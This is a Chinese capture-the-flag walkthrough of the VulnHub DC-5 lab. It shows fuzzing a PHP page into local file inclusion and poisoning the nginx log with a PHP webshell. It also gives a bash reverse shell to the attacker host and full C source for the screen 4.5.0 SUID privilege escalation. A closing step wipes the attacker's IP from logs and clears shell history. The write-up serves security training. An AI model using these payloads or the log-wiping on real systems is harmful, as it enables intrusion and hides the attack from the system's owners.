vulnhub靶场【DC系列】之5
前言
靶机:DC-5
,IP地址为192.168.10.4
攻击:kali
,IP地址为192.168.10.2
都采用VMWare
,网卡为桥接模式
对于文章中涉及到的靶场以及工具,我放置网盘中
https://pan.quark.cn/s/2fcf53ade985
主机发现
使用arp-scan -l
或者netdiscover -r 192.168.10.1/24
信息收集
使用nmap扫描端口
网站信息探测
访问80端口默认界面,查看页面源代码,发现脚本语言为php
使用gobuster、dirsearch、ffuf、dirb、dirbuster
等工具对目标进行目录爆破
gobuster dir -u http://192.168.10.4 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404
漏洞寻找
既然是php
文件,并且当前也没有什么可用,那么使用ffuf
对这些php
脚本文件进行模糊测试,测试有无一些隐藏的参数,知道几个的php
文件,来回进行一个测试,最终在thankyou.php
发现
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.4/thankyou.php?FUZZ=./contact.php -fs 852
#FUZZ是前面字典的测试点,也就是测试参数
#FUZZ后面的是已知的网站php文件,如果存在文件包含等,可能就会显示
#-fs是过滤该字节大小的数据,也就是原始的thankyou.php的数据大小
发现参数file
,那么再测试有什么可注入点,通过这个参数
ffuf -c -w /usr/share/wordlists/wfuzz/Injections/All_attack.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835
#-fs后面的数据变化了,是因为数据大小发生变化,在有file参数后,原始的大小变为835
通过构造链接,获取/etc/passwd
文件,发现靶机内有一个用户dc
但是这里没有办法获取/etc/shadow
文件,所以继续寻找其他点,尝试使用从github
上获取的字典,继续进行测试
ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835
漏洞利用
但是这里访问一圈,没有获取到有用信息。
这时候去前面看了一下nmap
的扫描, 想起这里的网站使用的是nginx
,偏偏使用的字典没有包括这个,这里就手动输入
路径 | 作用 |
---|---|
/etc/nginx/nginx.conf | 主配置文件 |
/var/log/nginx/access.log | 访问日志配置,它将访问日志记录 |
/var/log/nginx/error.log | 记录 Nginx 服务器在运行过程中出现的各种错误信息 |
经过测试,日志文件error.log
会记录信息,但是access.log
并无记录信息
既然是错误的日志,那么就尝试给予一个传参的值为php
代码,然后进行测试
先传入简单的代码进行测试<?php system('id');?>
http://192.168.10.4/thankyou.php?file=<?php system('id');>
访问记录错误的日志文件,发现其中的代码被进行url
编码了
访问链接,最好以查看源代码的形式,不然容易出错,或者看不清
view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log
那么尝试使用burp
进行抓取数据包,测试其在哪个阶段进行的url
编码,发现是在到服务器之前进行的编码,那么可以在burp
中修改,并且,还是有可能注入的
啧,这里靶机出了问题,再访问error.log
没有任何信息,所以无奈之下,重装靶机,可能之前进行爆破的时候,太多导致的
这时候把编码的代码进行复原,然后进行转发
再次访问access.log
,这里为什么是access.log
不是error.log
了呢,因为重装后,好了,access.log
有数据了,不过访问error.log
也是可以看到数据的
访问access.log
的效果如下
view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log
访问error.log
的效果如下
view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log
而且说白了,在进行构造时,参数是不是file
都行,只要在进行查看,也就是文件包含时,使用即可
这里确定可以执行php
代码,那么就尝试设置一个参数,来进行命令执行
构造代码<?php system($_REQUEST['cmd']);?>
,然后再次通过burp
改包后转发
然后在浏览器上访问,这时候就需要构造链接了
view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log&cmd=ls
反弹shell
cmd
用于接收用户的输入,然后调用system
函数执行,也就相当于命令执行了
尝试通过这样构造一个bash
反弹
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'#进行URL编码后
%2fbin%2fbash+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.2%2f9999+0%3e%261%27
把URL编码后的语句传参给cmd
,就可以获取到一个反弹shell
在查看当前靶机内用户,发现只要dc
,并且其中的目录下,并没有任何文件,个人感觉,可能都不需要提权至dc
了
使用find
寻找具有SUID权限的文件,啧,发现exim4
文件,是不是很眼熟,因为这个和上个靶机很像,就是不知道版本是否一致
提权
测试发现exim4
的版本为4.84-2,在使用searchsploit
未对应版本,也未在范围内
searchsploit exim 4.8 privilege
不过发现一个不常见的命令screen-4.5.0
使用searchsploit
搜索,发现有该版本的提权脚本
searchsploit screen 4.5.0
使用locate
定位到文件的位置,然后为了方便复制到当前目录下的位置,然后查看脚本文件内容,发现涉及到gcc
编译
那么测试靶机内有无环境,就是有无安装gcc
,并且能否使用wget
不过在执行脚本后,直接出错,不过观察脚本,按理说,应该是可以进行创建等操作的,既然在靶机内无法直接执行脚本,那么就把脚本中的内容进行分段处理,这里就是三部分,两个c
文件,然后还有编译的操作命令。
注意,我这里因为出现失误,所以后续的代码编辑,文件名称会改变,不过效果不变
//第一部分的c文件
//下面代码存放在 /tmp/libhax.c#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/shell", 0, 0);chmod("/tmp/shell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}//执行下面的命令
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
然后创建第二个
//第二部分的c文件#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}//执行下面的命令
gcc -o /tmp/shell /tmp/shell.c
rm -f /tmp/shell.c
然后创建一个脚本文件,或者这里的命令,一个个去执行也是可以的
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/shell
因为靶机内文件编译器有问题,所以这里把两个c
文件以及脚本文件编写好,然后通过python
,靶机使用wget
下载到/tmp
目录。
不过在靶机使用gcc
编译出现以下问题时,配置以下临时环境变量即可
#报错信息
gcc: error trying to exec 'cc1': execvp: No such file or directory
可以使用临时环境变量配置,一般的gcc
关键目录可能都在这个
export PATH=$PATH:/usr/local/bin/
这时候再按照两个c
文件对应的gcc
编译命令,然后就可以编译成功
执行脚本文件,即可发现提权成功
查看flag
清除痕迹
这里必须要说一下,因为这次对于nginx
的日志都已经出现问题了,所以肯定有大量的记录
sed -i "/192.168.10.2/d" /var/log/nginx/access.log
sed -i "/192.168.10.2/d" /var/log/nginx/error.log
对于其他的日志,直接置空或者怎么样都行
历史命令清理
history -r
history -c
总结
该靶场主要考察以下几点:
- 对于网站只有由
php
语言编写的时候,要测试有无隐藏的参数,或许这个参数具有文件包含功能,甚至可能会有远程的文件包含 - 对于常见的几种web中间件的配置文件的了解,这里是考察
nginx
的日志文件,并通过该日志文件触发php
代码,以达到文件包含+命令执行的效果 - 反弹
shell
的构造,这里太多了,靶机支持的情况下,可以百度测试,这里提供一个地址https://forum.ywhack.com/shell.php
- 对于提权操作,搜索具有SUID权限的文件后,可以查看文件是否具有版本漏洞,可以借助
searchsploit
,然后以及靶机内信息收集来确定版本,以确定是否具有漏洞,这里忘了截图uname -a
这里可以看到为GNU
系统
相关文章:

vulnhub靶场【DC系列】之5
前言 靶机:DC-5,IP地址为192.168.10.4 攻击:kali,IP地址为192.168.10.2 都采用VMWare,网卡为桥接模式 对于文章中涉及到的靶场以及工具,我放置网盘中https://pan.quark.cn/s/2fcf53ade985 主机发现 使用…...
前端面试题合集
1.有哪些方式可以实现数据的实时更新? 一. AJAX轮询(Polling) 轮询是一种通过定时发送HTTP请求到服务器来检查数据更新的方法。客户端每隔一定时间(如每5秒)发送一个请求到服务器,服务器响应当前的数据状态…...

基于RK3568/RK3588大车360度环视影像主动安全行车辅助系统解决方案,支持ADAS/DMS
产品设计初衷 HS-P2-2D是一款针对大车盲区开发的360度全景影像 安全行车辅助系统,通过车身四周安装的超广角像机,经算法合成全景鸟瞰图,通过鸟瞰图,司机非常清楚的看清楚车辆四周情况,大大降低盲区引发的交通事故。 产…...

基于 GEE Sentinel-1 数据集提取水体
目录 1 水体提取原理 2 完整代码 3 运行结果 1 水体提取原理 水体提取是地理信息和遥感技术的关键应用之一,对于多个领域都具有重要的应用价值。它有助于更好地管理水资源,保护环境,减少灾害风险,促进可持续发展,以…...

Python判断、循环练习
01 02 03...

【简博士统计学习方法】第1章:4. 模型的评估与选择
4. 模型的评估与选择 4.1 训练误差与测试误差 假如存在样本容量为 N N N的训练集,将训练集送入学习系统可以训练学习得到一个模型,我们将这么模型用决策函数的形式表达,也就是 y f ^ ( x ) y\hat{f}(x) yf^(x),关于模型的拟合…...
解密Navicat密码(Java)
最近从Navicat换到了DBeaver,导出配置文件发现配置文件里的密码都是加密的,看网上的都是给的PHP代码,因为环境问题,就算是在线上运行的PHP代码也会报错,所以就把这段代码改成Java了。 package com.unicdata.system.con…...

某聘__zp_stoken__参数逆向还原
声明 本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,若有侵权,请联系我立即删除! 目标网站 aHR0cHM6Ly93d3cuemhpcGluLmNvbS93ZWIvZ2Vlay9qb2I/cXVlcnk9cHl0aG9uJm…...

【数据可视化-11】全国大学数据可视化分析
🧑 博主简介:曾任某智慧城市类企业算法总监,目前在美国市场的物流公司从事高级算法工程师一职,深耕人工智能领域,精通python数据挖掘、可视化、机器学习等,发表过AI相关的专利并多次在AI类比赛中获奖。CSDN…...

声音是如何产生的
一、音频概述 RTMP中一般音频采用aac编码,采样率为44100HZ, 每帧1024采样,帧率43,23.2ms一帧 RTC中一般音频采用opus编码,采样率为48000HZ,每帧480采样,帧率100,10ms一帧 通道数(c…...

梯度下降方法
2.5 梯度下降方法介绍 学习目标 掌握梯度下降法的推导过程知道全梯度下降算法的原理知道随机梯度下降算法的原理知道随机平均梯度下降算法的原理知道小批量梯度下降算法的原理 上一节中给大家介绍了最基本的梯度下降法实现流程,本节我们将进一步介绍梯度下降法的详细…...

web3与AI结合-Sahara AI 项目介绍
背景介绍 Sahara AI 于 2023 年创立,是一个 "区块链AI" 领域的项目。其项目愿景是,利用区块链和隐私技术将现有的 AI 商业模式去中心化,打造公平、透明、低门槛的 “协作 AI 经济” 体系,旨在重构新的利益分配机制以及…...

Nginx——反向代理(三/五)
目录 1.Nginx 反向代理1.1.Nginx 反向代理概述1.2.Nginx 反向代理的配置语法1.2.1.proxy_pass1.2.2.proxy_set_header1.2.3.proxy_redirect 1.3.Nginx 反向代理实战1.4.Nginx 的安全控制1.4.1.如何使用 SSL 对流量进行加密1.4.2.Nginx 添加 SSL 的支持1.4.3.Nginx 的 SSL 相关指…...

环动科技平均售价波动下滑:大客户依赖明显,应收账款周转率骤降
《港湾商业观察》施子夫 2024年12月18日,浙江环动机器人关节科技股份有限公司(以下简称,环动科技)的上市审核状态变更为“已问询”,公司在11月25日科创板IPO获上交所受理,独家保荐机构为广发证券。 此次环…...

源网荷储:构建智慧能源生态的关键方案设计
一、技术融合基石 多元能源采集技术:在 “源” 端,除了常见的光伏、风电、火电,生物质能发电、地热能利用技术也应纳入考量。例如在有丰富生物质原料的农村地区,小型生物质发电厂可实现废物利用与供电双赢;地热资源丰…...

进程间通讯
简介: 进程间通讯方式有: 1.内存映射(mmap): 使用mmap函数将磁盘空间映射到内存 2.管道 3.信号 4.套接字(socket) 5.信号机制 通过进程中kill函数,去给另一个函数发送信号&a…...

STM32-笔记33-OLED实验
实验目的 驱动 OLED 屏幕,显示点、线、字符、字符串、汉字、图片等内容。 项目实现-OLED通讯协议 复制项目文件19-串口打印功能 重命名为47-OLED实验 打开项目文件 加载文件 代码书写顺序: oled.c #include "oled.h"//初始化oled的gpio …...

低空管控技术-无人机云监视技术详解!
一、无人机监听技术的原理 无人机监听技术主要依赖于射频(RF)探测、光学和红外传感器等技术手段。这些技术通过被动监听和监测无人机与飞行员(或控制器)之间的通信链路传输,以确定无人机的位置,甚至在某些…...

RedisTemplate执行lua脚本及Lua 脚本语言详解
使用RedisTemplate执行lua脚本 在开发中,我们经常需要与Redis数据库进行交互,而Redis是一个基于内存的高性能键值存储数据库,它支持多种数据结构,并提供了丰富的命令接口。在某些情况下,我们可能需要执行一些复杂的逻…...

基于springboot的网上商城购物系统
作者:学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等 文末获取“源码数据库万字文档PPT”,支持远程部署调试、运行安装。 目录 项目包含: 开发说明: 系统功能: 项目截图…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...

Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...

大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...

对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...

视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...

HBuilderX安装(uni-app和小程序开发)
下载HBuilderX 访问官方网站:https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本: Windows版(推荐下载标准版) Windows系统安装步骤 运行安装程序: 双击下载的.exe安装文件 如果出现安全提示&…...

CMake 从 GitHub 下载第三方库并使用
有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现录音机应用
1. 项目配置与权限设置 1.1 配置module.json5 {"module": {"requestPermissions": [{"name": "ohos.permission.MICROPHONE","reason": "录音需要麦克风权限"},{"name": "ohos.permission.WRITE…...

关键领域软件测试的突围之路:如何破解安全与效率的平衡难题
在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件,这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下,实现高效测试与快速迭代?这一命题正考验着…...